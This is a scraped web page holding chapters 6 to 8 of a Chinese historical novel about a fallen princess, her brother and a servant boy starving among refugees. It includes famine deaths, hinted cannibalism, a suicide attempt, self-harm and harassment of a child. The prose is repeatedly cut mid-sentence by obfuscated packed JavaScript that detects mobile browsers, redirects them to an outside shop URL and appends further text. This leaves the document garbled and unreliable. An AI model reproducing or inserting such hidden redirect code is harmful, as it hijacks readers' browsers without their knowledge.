0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185479|197014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一粒粒捡起来的黍米。 他将那一小把黍米粒全都扔进架起来的小瓦锅里。 瓦锅很快咕噜噜地沸腾了,江稚水将米汤全都一股脑儿地倒进陶碗里。 米线奶香撞在一起,香气扑鼻,突兀的出现在这片贫瘠的土地上。 越是资源匮乏,人的五感好似就更加清楚。 好几个面黄肌瘦的男女都闻到这香甜的味道,他们不约而同地滚动了一下,直勾勾地看着江稚水。 江稚水端起那陶碗,犹豫着不知道给谁喝。 王大女先开了口,她咽了咽口水,“好香啊。” 她回头看着仍旧端正箕坐的李瑗,“我们一人一半吧。” 李瑗朝她微微一笑,疏离又礼貌,他婉拒道,“不了,女郎。” 李瑗双掌合十,“我不习惯与人同饮。” 李瑛无语地挑了挑眉。 王大女神情一僵,复又笑道,“咱们不是有两个碗吗?” 江稚水哑着嗓子,“我不小心打了。” 王大女嘴角一抽,她念念不忘地最后瞅了那奶汤一眼,还是咬牙忍耐道,“你喝吧。” 李瑗一看就是在等她这句话,他朝王大女不那么带着歉意的抱歉的笑了笑。 随即他利落起身,将那碗奶汤餍足地一饮而尽。 李瑛目瞪口呆地盯着阿弟的无耻行径。 喝完了汤,李瑗的脸色肉眼可见的红润了一些,李瑛半张着嘴盯着他,无言以对。 待喝完了汤,江稚水抽噎着叙述了黍米被人调换的事。 李瑛愣了一瞬,沉默了。 江稚水更加的绝望了,他感觉心像是被塞了一块秤砣,直直的从胸膛一直坠到脚底。 他在想,一定是因为他。 他痛苦得恨不得以头抢地,甚至后悔路上没有直接投河自尽算了。 毕竟方才在回来的路上,他是真的有想过死的。 秋意本就萧瑟,江稚水只觉得如坠冰窟,浑身不停地发抖。 就在这时,李瑛微凉的手指轻轻抚上他蜿蜒的泪痕。 她靠过来,静静地抱住了他。 李瑛的身体和婴儿不一样,婴儿是柔软的,李瑛瘦了很多,浑身上下硬邦邦的。 但是她的确如同一个婴儿一般,如同一个婴儿正依偎在母亲怀里,在寻找母亲的乳1头一般。 她不断向他怀里贴近,好似再用力一些就能钻到他的心里,用微凉的脸颊贴住他滚烫的心脏一样。 李瑛的脸埋在他衣襟间,少女温热的气息安定地透过布料传来。 她闭上眼,“稚水,不要这样子,不要哭。” “我不愿意见到你的眼泪,我不愿意见到你哭。” “会有办法的。我一定想出办法,我会想到让我们都活下去的办法!” 一旁蹲着的王大女愁眉苦脸,她唉声叹气道:“那我岂不是要饿死了?” 李瑛狠狠的瞪了她一眼。 李瑗的目光幽深复杂,看不出他在想什么。 6. 第 6 章 李瑛想得无疑是太乐观了,这是一个难熬的冬,他们已经弹尽绝粮数日了。 李瑛其实是一个很能忍饿的人,从前在她生活富足的时候,在她还是高高在上的八公主时,她就时常故意饿着。 目的很简单,她无比享受饥饿后再进食时的餍足感。 狼吞虎咽地吞下食物后,肚子里热热的,整个身子也暖暖的,懒洋洋的,只有这这是她才觉得自己的心没有那么空。 没有食物。 她好饿啊。 野草迅速地从本就衰颓的黄,迅速变成了干瘪细瘦的灰黑色,晚上一冻,清晨再被霜一裹,在手上轻轻握着都能碎成一地渣渣。 李瑗嘴里好似总有东西,李瑛总是偷偷用余光偷瞄着他,不知为何,她总是很警惕李瑗。 哪怕李瑗是她的亲弟弟。 直到李瑛亲眼看见李瑗用小棍在硬土里掘出一条沉睡的蚯蚓。 他捧起那软塌塌的东西,指尖捻去土块,竟就这样直接送进了嘴里。 李瑛胃里一阵翻搅。 李瑛难以想象蚯蚓的味道。 更难以想象李瑗竟然会吃虫子。 李瑗是吃肉的,李瑛一直在心里嗤笑他,李瑗总是做出一副冠冕堂皇的样子,甚至为了离开他们,卖掉了牛车,如果永宁寺虔诚的僧人会怎么看他? 李瑛眼前浮现出了僧人悟尘平淡的五官。 但是很快,李瑛发现她也和李瑗并排蹲在田埂上,她伸出干瘦的手,指尖触碰到了另一条蚯蚓冰凉滑腻的躯体。 天很快更冷了,虫子也都冻死在土里了。 李瑛呆呆地抱着腿坐在地上。 强者挖草根为食,弱者仅卧待毙,他们能做的好像只有等死罢了。 她想了很多办法,草根被挖尽了,树皮被剥光了,还是吃不饱。 江稚水每日天不亮就出去,为的就是到洛水河畔寻找些可以磨成粉的杨柳枝。 他一点点刮下那点可怜的的嫩皮,将它们揉碎,最后再放在小瓦锅里煮熟,这些稀薄的带着木腥气的糊糊,就是他们互相谦让的美食。 吃了十来日,四人皆是面如菜色,肚里实在没有油水,连如厕都困难。 江稚水默默拆了她带回来的那双旧靴子,将鞣制过的皮子切碎,混进糊里一起熬煮。 皮子煮不烂,嚼在嘴里味道很怪,但好歹是点能下咽的东西。 可是这些东西都算不上真正的食物,无法果腹。 她好饿啊,胃里空得发慌,像有只手在里面缓慢地掏挖。 那种饿意是从胃里烧上来的,灼烧着喉咙,火舌舔着四肢百骸。 最让江稚水打击的就是,他们四人隐隐受到了所有流民的排挤。 其实在路程的,李瑛、李瑗和江稚水这三个年纪不大的孩子是很惹人怜爱的。 江稚水其实并不认为自己是一个美人,但是他的确算得上是“俊”,他的这份俊若是搁在美人云集的洛都,便显得不够亮眼。 只是这份可在这颠沛流离、人人灰头土脸的逃难队伍里,这位干净又温和的少年郎,便受到了空前的欢迎,李瑛的衣裳破了,江稚水红着脸去找那些妇人借些针头线脑,那些小媳妇总嬉笑着逗他,搞得江稚水从耳朵一直红到脚后跟。 那些妇人的丈夫看着江稚水的样子多少有些酸溜溜的。 不止江稚水,李瑛与李瑗在流民队伍里也引人注目。只是李瑗顶着个光溜溜的脑袋,终日面无表情,眼神沉静得近乎空寂。众人知晓他僧侣身份,虽觉这少年相貌清俊,却也不敢贸然亲近,多是远远合十行礼,便避开了。 但是,到如今,情形大变。 江稚水为人谦和,大家除了不怎么搭理他了,倒也不算十分过分,李瑗因为万年的冷脸,已经从“小法师”降级成了“那秃头小子”,有几家顽皮的孩子,就差没有跳过来指着李瑗的鼻子,骂他“死秃驴”了。 这也不奇怪,原本他们几乎是这一干人里过的最好的,如今落魄至此,大家心里不免有些轻贱,这只是其一,其二便是江稚水去河边割柳条,下手总是又狠又多。 河滩虽不是谁家的,但是眼见着他日日背回小山似的一捆,还总挑还带着青皮的嫩枝下手,可好东西就那些,全让他搂了去,旁人嘴里不说,心里却记了账。,旁人心里便不是滋味,隐隐生了怨怼。 还有隐秘的一点就是有些缺奴婢,缺媳妇的人家,对着李瑛和江稚水有些虎视眈眈。 冻死、饿死的人,一天多过一天,目光所及,皆是同样青黄的面孔,同样绝望的眼神。 起初几日,每当晨雾最浓的时候,某一角总会猛地爆发出一种不似人声的哀嚎与恸哭 又有人死了。 没有草席裹身,因为草席要留给活人御寒,也无坟无碑,因为活下来的人没有精力做这些。 尸身就那样横陈在野地里。 野狗很快来了。 它们膘肥体壮,皮毛溜光,根本不怕人,看到人就扑上来要咬。 它们吃了太多红肉,眼珠已经变成了是浑浊的血红色,龇出的獠牙沾着不明的秽物,涎水混着白沫滴滴答答得落在地上。 它们不怕人,或许在它们眼里,面黄肌瘦行动滞泄的济民与与地上躺着的死人并无分别。 变成他们的食物,也是迟早的事。 李瑛看着那些野狗不费任何力气就撕开死人的胸膛。 死的人太多了,它们也被养刁了。 四肢和头颅被随意撇在一旁,它们专挑最柔软、最温热鲜甜的内脏下口。 心,肺,肾,滑腻的肠子都是它们的最爱…… 咀嚼的声音在寂静的荒野里显得格外黏腻清晰。 野狗的嘴被染得一片猩红,肥壮的身躯因饱食而微微晃动。 李瑛有些看愣了,她由衷得生出了一种羡慕和嫉妒。 那是一种恨不得于野狗抢食的痛苦。 毕竟她要是真是一只狗,她大概还能吃饱。 这念头让她遍体生寒。 俗话说,宁为太平犬,莫为离乱人。 李瑛好饿。 王大女死了。 他是从山坡上被人一脚踹下来,脑袋磕在石头上摔死的。 在逃难最开始的时候,路边总长着这些郁郁葱葱树木,树下也总落这些枯枝,并不太费力气,只要半个时辰,就可以捡满一大箩筐。 但是随着流民越来越多,天气越来越冷,平缓干燥的空地越来越少,这些枯枝早就被捡得一干二净,那些树木的树皮也被扒下来果腹,树干也早被劈成了柴来取暖。 李瑛总背着江稚水,偷偷去去有主的山上偷些枯树来烧。 这些山头本就是属于那些氏族富户的,他们虽可能不住在山旁的坞堡里,但是这些山总是会留下一些忠心耿耿的老奴婢作为守山人。同为寄人篱下,摇尾乞怜的奴婢,这些守山人对于流民没有那么大的耐心,看到他们这些来作乱的小鬼,总是挥舞着刀斧,一副再敢来就砍死你的架势。 每次江稚水发现,都会生气地抹眼泪,但是这是没有办法的事,他尽力去争抢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185480|197014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的柳枝,甚至远远不能让他们果腹,又怎够让他们御寒。 每日每夜,他们四个人只能抱成一团,这才不至于冻死。 李瑛很怕那些守山人,她总是见好就收,毕竟李瑛很清楚的知道,他们是真的会是杀了她。 王大女也很害怕,但她对于生存的迫切很快就压过了那点恐惧。凭借着生物的本能,她掏开一个野兔洞。 她很幸运,看着手里温热紧张的兔子,她感动得热泪盈眶,几乎马上要滚下泪来。 兔子紧张地抖动着鼻子,王大女兴奋地搓着手,心里又酸又喜:当真是天无绝人之路。当然,她并没打算将这兔子分给任何人,包括李瑛他们。她只想在山上找个背风处,自己悄悄把它吃了。 但是他终究是个孩子,而且还是一个不怎么聪明的孩子。 所以当守山人寻着炊烟赶来的时候,一下就抓住了她的现行。这人或许真的推了她,或许是王大女在惊惧之下自己失足跌落下了山崖,反正她就是死了。 王大女头破血流,死不瞑目。她死的时候,手里还紧紧攥着扒下来的兔子皮。 李瑛好饿,她木然地看着王大女的尸体,她想给她挖一个很大的坑。 但是,她好累,没有力气,所以她只是在她面上撒了一层勉强蔽身的薄土。 王大女就这样静静地躺在李瑛挖的浅坑里,她脸上的血污已被李瑛轻轻拭去,面容意外的安详。 那块兔子皮原是死死攥在她手中的,李瑛废了好些力气才抽了出来。 王大女身上仍穿着那件藕色旧衫,李瑛犹豫再三,不知道是该脱还是就让他裹着这件旧衫下葬。 李瑛很冷,李瑗很冷,江稚水也很冷。 他们都需要这件一衣服, 李瑛跪在冷硬的冻土里,用手捧起薄土朝她身上撒去。土撒下去,落在少女苍白的躯体上,发出簌簌的轻响。望着那张稚嫩平静的脸,李瑛忽然想起面对石生那天,王大女怯生生地躲在自己身后的样子。 冷风刮过颈侧。李瑛闭了闭眼,终于还是将那件藕色薄袄脱了下来,小心翼翼地裹在了王大女身上。冻土继续落下,渐渐掩去王大女的那张脸和那件已经看不出真正颜色的旧衣。 “是你做的孽吗?”李瑛看着那个不算是真正坟墓的新坟,新翻的泥土在严寒下迅速板结,变得和石头一样硬冷。 “你是故意的吗?”李瑛迫疲惫地闭上眼,“我知道你一直想要一顶帽子。” “没什么故意不故意的。”李瑗的头发已经很长了,垂到了他的肩膀,凌乱地垂在瘦削的肩头,几乎遮住了半边脸颊,也遮住了他的眼睛,“总有人要做恶人的,你不愿意做,那就我来做。” “为什么?” “带着她是累赘,她多吃一口,你就少吃一口。” “我愿意做这个恶人,诸恶我作,诸债我受,她要恨就很我吧。”李瑗将冰凉的脸颊轻轻贴向李瑛的肩窝。 “一切因果,皆归我身。”他额前细软的发丝搔着李瑛的下巴,痒痒的。 他模仿着那日她与江稚水相依的姿态,“她是吃过死人肉的人,若不是阿姊能言善辩,她定会与那些人将你分食。” “留着这样的人在身边,阿姊不会害怕吗?”李瑗仰头看她,眼神纯真无辜。 李瑛的目光落在少年的脸上,那张脸瘦脱了形,却依然能看出清俊轮廓,“若是我有一日吃人了,你会怎么办?” 李瑗更紧地靠向她,他的回答没有丝毫犹豫,带着一种近乎虔诚的依赖,“你是我的阿姊。” 7. 第 7 章 其实饥饿给人最初的感受是疼痛,最纯粹的疼痛。 李瑛一想食物,尤其是热气腾腾,香喷喷的红肉,嘴巴就不自觉的分泌出唾液,她真切明白了什么叫做垂涎欲滴。 没有食物可以消化,唾液无处安放,只能再把它们吞咽下肚。 胃酸一直不停地分泌,从胃囊一直倒流进口腔,微酸微苦微甜的液体带着热辣辣的味道,伴随着难闻的气味,一股股涌上喉咙,灼烧着食道,最后充斥整个口腔。 那气味令人作呕,李瑛却又不得不一次次咽回去。 疼,真的很疼。 连着□□每动作一下,甚至是每一次稍深的呼吸,都像有把尖锐的刀子在身体里刮擦,牵扯着周围所有的脏器。 李瑛走路都没法迈步子,只能垫着脚尖,前脚掌着地,才不会牵扯到五脏六腑,便是连呼吸都要小心再小心,要慢慢地、细细地吸,再屏住一瞬,才敢极小口地吐出。 最舒服还是平躺。 偏的胃胀的难受,摸上去,一摁,硬邦邦的全是气。 水,也渐渐不能喝了。 肿胀溃烂的尸体污染了水,这些发白的尸体在缓慢的水流中载沉载浮。 这条传说中诞生过神女的、曾经清澈见底的洛水,如今成了一条浑浊的、泛着异味的尸水。 有不少喝了水的人都得了瘟疫。 据说十年前慕容氏全族获罪,前后死者约一千七百三十一人,悉投尸洛水。 剖鱼多得爪甲,洛都人恐鱼啃人尸,三月不敢食鱼。 没有草药可以医治,那些染病的可怜人和他们的亲人,只能互相欺骗着:“再喝点热水吧,发发汗就好了。” “多喝点水,多撒几泡尿,就把病气冲出去了。” 有年纪小的孩子,受不住病痛和高热的折磨,日夜哭嚎,“我难受,阿母!阿母!我屙的是清水!阿父呜哇哇我怕不是要死了,我不要死!我不要。” 但是这样的哭闹总会在某一天戛然而止。 自从李瑛被人掳走后,他们三人就形成了一个约定。 日后不管何时,只要有人出去,就要在睡觉的地方垒一块石头。 江稚水的那块扁平青石,从早晨他离开时,就一直稳稳地立在那片空地上。 有人杀了一条狗,他是个好人,自己和妻子吃了肉,还把剩下的骨头煮了一锅汤。 几乎所有还能动弹的流民都轰然聚集了过去,人挤着人,摩肩接踵。 他们枯瘦的手臂高高举起破碗、瓦罐、甚至掏空的葫芦,争先恐后地向前咕蛹,嘶哑的哀求、推搡的闷响和容器碰撞的闷响声混成一团。 李瑛自然也拼了命往里挤,想要分得一碗肉汤。 人太多了,她根本挤不进去,她弯下腰,趴在地上,想要从他们□□爬进去。 忽然,李瑛感觉屁股被一只干枯的手狠狠捏了一把。 她猛地回头,那老头也斜着眼瞅她。 他根本不害怕李瑛,老头另一手垂着,另一只手得意地举着一只碗,里面晃荡着半碗飘着油星的肉汤。 李瑛面无表情,“给我喝一口。” 老头打量着她,“那你得陪我。” 李瑛盯着那碗汤,“那我要这一碗。” 老头啐了一口,转身钻出了人群。 李瑛想去追,但是她没有力气了,她又挤进了人群里。 她还是没能抢到肉汤,饿昏了。 等她醒来的时候,李瑛发现自己还是躺在那段荒凉的田埂上,她枕着李瑗瘦削的腿疲惫地闭上了眼。 傍晚的时候,江稚水回来了。 他走路的姿势略有些怪异,微微弓着腰,脚步滞涩。 他怀里抱着个小包袱,里头是三块蒸饼。 她和李瑗没有一个人问这是怎么来的,江稚水也没有说话。 他把饼子递给李瑛和李瑗,他没有解释饼子是怎么来的,也没有问王大女为什么不见了。 他把给王大女的那枚饼子掰成了两半,大一些的给了李瑛,另一块给了李瑗。 他自己面前,则是一碗早已坨成一团、毫无热气的水引饼。 李瑛咀嚼得很慢,李瑗小口小口地抿,江稚水则盯着那碗坨面,一动不动。 饼很粗砺,咽下去刮得喉咙生疼,但那实实在在的粮食感,让麻木的肠胃重新开始蠕动。 三人只是沉默的吃着 周围的流民纷纷扭过头来看,目光复杂。 有人死死拉住眼巴巴瞅着的孩子,低声呵斥,声音却大到足以让他们三人听见:“你要死啊?人家被狗日了换来的东西,你也巴巴地上赶着?” 他们没一个人抬头。 这时,江稚水感觉有人轻轻拍了拍他的肩头。 是个小孩子,他没有见过那样瘦的脸,那张脸,除了多了一张干枯的皮之外,着实和骷髅差不多。 看到他,使人忘掉了怜悯,直觉地感到恐怖。 "阿兄,我饿,快饿死了,能不能赏我吃一口,就一口,如果我吃了还是饿死了,你就吃了我吧。"他眼睛却亮得瘆人,对江稚水说。 江稚水终于抬头了,他憔悴的脸上没什么表情,顿了顿,无声的从他碗里拨了一些给那个孩子。 江稚水这碗水引饼吃得很慢。 等他终于吃完,他搁下碗,抱着膝盖,和李瑛、李瑗并排坐在田埂上。 寒风吹过他凌乱的鬓发,他望着远处模糊的地平线,语气有些飘忽:“瑛瑛,你还记得以前的事吗?” 他陷入了回忆,仿佛从寒冷的冻土回到了那个昏暗又温暖的屋子里。 年幼的女童坐在清秀男孩的怀里。 男孩抿着嘴唇,在两个孩子充满期待的注视下,小心翼翼地撕扯着一块成人巴掌大的饼子。 女童伸出小手认真地接着掉落的芝麻和饼皮碎屑。 男孩看着手里一块略大、一块略小的饼子,舔了舔有些干裂的唇角,犹豫着该如何分配。 他还是私心地把那块大的给了李瑛。 女童如一尾活络的锦鲤,在江稚水怀里一刻也停不下来,一会亲亲男孩的脖子,一会蹭蹭他的脸颊,一会又拉着要给他编小辫子。 她抬起头,水晶丸般的大眼睛笑得弯弯的,女童声音清脆:“没事的,稚水!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185481|197014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不嫌弃你!” 她是个很娇气的孩子,小时候是几个保姆抱着她,喂着她。 如今都快九岁了,还总撒娇要人喂。 她舒舒服服地躺在江稚水的大腿上,伸出手指玩着他鬓角垂到前胸的碎发,轻轻地绕着卷儿。 她疑惑道,“稚水,你把你的饼子给我了,你自己吃那么少,不会饿吗?” 江稚水浅笑道,“不会呀。” 他的眉眼修长温和,如女孩子般灵秀逼人,对于她,他有一种近乎本能的、类似于母亲般的保护欲。 而在与她分别的那些日子里,他曾无数次想过自缢了断。 但一想到若死了,此生此世便再也不能与她相见,这才一次次按捺住。 他的思绪回到了那排冷硬的田埂。 “瑛瑛,卖了我吧。”他朝她笑,声音很轻,“你快饿死了。” 李瑛还是面无表情。 她盯着江稚水的眼睛,“不要说这样子的话。” 李瑛面无表情,“稚水,不要这样子折磨我。” 江稚水苦笑道,疲惫道,“天下之大,难道就没有我们的容身之所?” 多可笑幼稚的话啊。 秦失其鹿,天下共逐之。 这天下是贵人们的猎场,是枭雄的棋局。 蝼蚁怎配有一席之地? 有谁在意他们的死活? 用并不光彩的手段获得的粮食,很快便消耗殆尽。在接下来的日子里,他们又重新陷入了断粮的绝境。 李瑛不会允许这种事情再发生第二次,她排斥着这件事情,不愿意去细想,但是她的确为他痛苦着,她就偏执地把江稚水看得很紧,到了寸步不离的地步。 李瑛发现,自己竟然生出了白发。 可是她过了年才十二岁。 江稚水察觉到她的企图,他也没有说什么,也没有抗拒,只是每次会这里李瑛盯着他的时候,他就会苦笑着轻轻捏捏她的手背。 这时候李瑛就会安静地把头靠在靠在他瘦削的肩上,就像他们一直以来的一样。 不久的一天晚上,她自然而然的醒来了。 醒来的时候,江稚水不在她身板,她很难得的没有感到惊慌。 好似是与他有约,好似是知道他在哪里一样。 她感到自己的灵魂受到了指引,她的关节都被天上的神仙栓上了丝线,她被引领着来到了河边。 江稚水感到身后的干草发出稀稀细碎的声响,但是他并不感到害怕。 洛水河畔的夜静得出奇。 大地一片狼藉,但是月亮仍然皎洁地悬在天上,慷慨地向荒原撒着圣洁、清冷的银光。 万籁俱寂,只有河水在月光下泛着幽暗的、绸缎般的微光,缓慢地流淌,水面乌漆漆的,深不可测。 江稚水背对着李瑛,李瑛就只看到了一个消瘦的背影平静地立在河畔。 江稚水回过头,他清俊秀丽的面容沐浴在月光下,少年眼下乌青,倦容犹在,神情却安静,带着一种诡异的满足。 河水在他脚边无声环绕,月光在他周身静静流淌。 8. 第 8 章 看见李瑛来了,江稚水笑了。 他们谁都没有说话,从对方疲惫的眼里看到了绝望绝望。 绝望已然恐怖,而当绝望成了常态,就成了疲惫的绝望。 江稚水先迈步,踏进了漆黑流动的河水,然后,他转过身,朝她伸出了手。 那双手白皙但干瘪,像是被冻伤了的白萝卜。 李瑛痴痴地看着他,在这一刻,容貌清秀的江稚水却好似变成了倾国倾城到足以蛊惑人心的山精鬼魅,她不由得将自己冰凉的手附了上去,由着他带着自己一步一步走进河里。 他引着她,一步一步,向河心走去。 江稚水的神色一直带着轻松幸福的笑意,他披散的头发被水浸湿了,飘荡在水面上,月光下,少年皮肤滑腻如瓷,白皙如珍珠,像是传说中的鲛人。 水渐渐漫过小腿、膝盖、腰际…… 刺骨的寒冷包裹上来,冬日的河水分明冰冷刺骨,她却隐约觉得暖和。 李瑛仰起头,她感觉她的灵魂仿佛终于要挣脱出这幅沉重疲乏的躯壳,归入一片永恒的宁静。 河水依旧沉默地荡漾。 许是因为李瑛的求生欲太过强烈,也许是因为她不甘命丧于此。 在洛河之水第一次漫过她的头顶,呛入她气管的那一刹那,她就挣扎地扑腾出水面。 李瑛踉跄地拉扯着江稚水,硬生生将他拖了上岸。 那是江稚水生平第一次真正地反抗了她。 哪怕身子已经被拖出了水面,他却猛地回身,几乎是拼了命的重新扎进漆黑冰冷的水里。 李瑛再去水里捞它,拽着他的衣服,拽着他的头发,用牙齿,用膝盖,接近于施暴的把他扯上岸。 最终,李瑛还是把他拖了上来,二人连滚带爬地在河岸边的烂泥里停止了近乎于颤抖的挣扎,他们剧烈地呛咳、喘息,直到喉头尝到了鲜血的腥甜。 江稚水浑身湿透,单薄的衣衫紧贴在少年嶙峋的骨架上,黝黑的发也凌乱地贴在他瘦削的脸颊上。 月光下,他声嘶力竭地嚎哭:老天爷!为什么这样对我!我从来没干过坏事!为什么连死不能死!为什么!我早该死了!早死了!” “为什么要让我这么惨啊?!我受不了啊啊啊啊!我饿!我疼!我要死了!阿父!阿母!阿姊!阿兄!” “你们来接我好不好?我真的受不了了!!”他脱力地伏在脏污地地上。 他朝着李瑛,疯狂地叩头,他又快又急,泥浆挂了他满脸。平日最爱洁净的人,如今却状若疯子,“主子,公主,让我死吧?求求你们让我死吧!你们姓李的让我连死都不能!我是罪人!” 江稚水呕吐着哭道,“我好脏,好恶心,我好想死啊!我怎么那么苦,我的命怎么那么贱啊——!!!” 他吼的太大声,许多在饥寒中浅眠的流民被惊醒了。 窸窸窣窣的动静从四面八方的阴影里传来,他们也站在了洛水河畔。 同样饥肠辘辘的人并没有什么同情心,“想死就去跳啊!” 江稚水绝望地捂住自己的嘴,发出压抑的呜咽。 死是需要勇气的,生也是需要的,但想死时的勇气只需要一瞬,可活着的勇气却要无限次的积累。 李瑛,江稚水,李瑗已经饿得走不动了。 准确来说,这趟流民队伍也很久没有走动了,大家没有力气走,只是在原地绝望的徘徊着,等死罢了。 李瑛不想死,但是她想不出任何能活着的办法 江稚水又开始絮絮叨叨那些卖人不卖人的话。 刚开始李瑛暴跳如雷,但是后来她也在心里暗暗盘算着,可能被卖了的人才能有一线生路。 如果下一次,再有人愿意买她,她一定会跟着他走,做媳妇,做奴婢,做猪狗,她都不在乎了。 她好饿。 稚水已经饿得走不动了,他躺在地上,精神已经有些恍惚了。 江稚水瘦得只剩一张皮了,紧绷绷又松垮垮地趴在骨头上,掀开罩在身上的破布,似乎都可以透过水肿到半透明的皮看见青黑的肠子,血管像蚯蚓一样钻在皮下面,李瑛去摸他的手指,甚至都能摸到两块指股之间的骨缝。 看着他这副样子,李瑛甚至有些后悔。 或许当时卖了他才是真正的为他好。 她跟李瑗的感情也更好了些,因为大多时候都是江稚水枕着她的腿躺在地上,她和李瑗就依偎着取暖。 李瑗的饭量最大,他好似真的是饿死鬼投胎托生的,他在指头上咬一个口子,闲的没事吸两口,甜丝丝的。 他很大方的向李瑛和江稚水分享。 李瑛躺在地上,有气无力地举起浮肿的手臂,一摁一个小坑,她掐了五个瓣,凑成一朵小花。 饿……好饿…… 江稚水看见李瑗躲躲藏藏的。 刀片映着李瑗那张异常平静的脸,“我饿得很,就想剐块肉来吃。” “你作死啊!李瑗!你作死啊。”江稚水声音低低地哭着,“那是割肉!割肉你懂不懂!你会死的!” 这些年,她时常会怀疑自己曾经安然优渥、堆金迭玉、花团锦簇的日子是否真实。 妇人如云,美人如雾。 嫔妃们头戴金爵钗,腰佩翠琅玕,环佩叮当,香风阵阵,美人如花,绸缎如浪。 她也被裹挟在这绮罗香阵之中,陷在滴粉搓酥的藕臂酥1胸之中。 李瑛看见了她的阿母慕容明春。 在这个如梦似幻的环境里所有人的面容都是模糊的,只有那个端坐高榻,如神龛的女人的容貌是清楚的。 丰姿冶丽,不怒自威,美丽到无与伦比。 四岁的女童不理解阿母近来的冷漠,看见母亲主动召唤,马上从女人的身上挣扎地下来,一把撒开手心里的糕点,哒哒的往台阶上爬,她惊喜道,“阿母?!” 底下嫔妃嬉笑,“小公主还真是黏皇后娘娘。” 她们一唱一和,如同商量好了一般异口同声道,“有这样的孩子,殿下真是好福……” 话音未落,“啪”地一声脆响撕裂了年轻嫔妃此起彼伏的娇笑声。 皇后慕容明春狠狠地甩了小女儿一个响亮的耳光。 众妃磕头如捣蒜,无人敢抬头。 慕容明春皱着眉头,神色不耐和厌恶,“贱婢如何配于我的儿子相提并论。” 梦里不知身是客,只剩枉然。 她也与从前的日子隔着天上人间、千山万水。 就在这时,人群忽然沸腾了起来,无数原本已经卧在地上等死的人,竟都挣扎着爬起来,踉踉跄跄地朝着同一个方向涌动过去。 李瑛茫然地抬起头,第一反应是有人在施粥。 可紧接着,她感觉到脚下的大地传来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185482|197014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一阵规律的震颤,隆隆声由远及近,如同闷雷滚过。 江稚水猛地扑过来死死抱住李瑛,他已然成了惊弓之鸟,身体抖得厉害,李瑛紧紧反手握住他同样冰凉的手。 “别怕!别怕!”一个胆子大些的流民挥舞着枯瘦的手臂,声音因激动而尖利得刺耳,“那是咱们大成的军队!是咱们的陛下打回来了!” 李瑛喃喃重复,她的一颗心扑通扑通直跳,不由得失声道,“这是什么意思?” “还能什么意思!”那男人已经瘦脱了相,他佝偻着身子,唾沫横飞,“洛都!咱们的洛都!被那些王氏贼人霸占了这么久,而如今陛下率领精兵锐将,已收复八州!只差一步,就能直取洛都!” 他喘着粗气,干瘪的胸膛剧烈起伏,声音因极度的崇拜而颤抖着,“陛下就坐在那车驾里!” 这话如同烈火烹油,那些瘦骨嶙峋、黄干黑瘦的饥民,他们拖男挈女地一齐跑来,竟然真的簇拥着那队车队的方向虔诚地匍匐磕头起来。 “陛下!陛下啊——!”他们哭泣着。 “救救我们吧!”他们哀求着。 李瑛感觉自己喘不过气了,皇帝的马车就坐在就在这个队伍里,她喃喃自语着。 她甚至不知道自己是怎么站起来的。 她可能真的疯了,她开始追赶着那辆马车 江稚水惊恐地呼唤着她。 直到一只粗壮的手臂狠狠掌掴在她脸上,“全家遭瘟的小杂种!惊了圣驾你有几条命赔?!” 李瑛猝不及防,狼狈地滚倒在路边,脸颊火辣辣地疼,眼前金星乱冒。 铺着羊毛毡毯的车厢隔绝了外界的一切喧嚣,一位穿着华贵的女郎好奇地向外张望,她今年十五岁,名李珊,是皇帝的第五女,乃陆荣华所生。 李瑛行六,与她乃是异母姊妹。 ”阿父,”李珊转回身,少女秀美的眉头轻轻蹙起,声音娇憨,对着身旁闭目养神的皇帝阿父说道,“后面好像有个小女郎一直在追咱们的车呢,摔倒了,好可怜呢。 李晟连眼皮都未曾掀动一下,只淡淡吐出两个字:“她饿。” 李珊轻轻“哦”了一声,她似懂非懂地不再看窗外。 她取出一只精巧的玳瑁盒子,盒盖上镶嵌着细小的螺钿,细小宝石拼出繁复可爱的缠枝花纹,光润夺目。 “那把我的糕点送给她吃”。她嘟起嘴,撒娇道,“阿母天天逼我吃早膳,真是烦死了。” 陆氏抚了抚女儿柔软的发顶,笑道,“我儿仁善良。” 李瑛呆呆地坐在地上,这时,一点冰凉,轻轻落在她的眼皮上。 她抬起沉重的眼帘。 下雪了。 细小的、洁白的雪粒,开始疏疏落落地从天幕飘洒下来,起初只是零星几点,很快便变得纷纷扬扬。 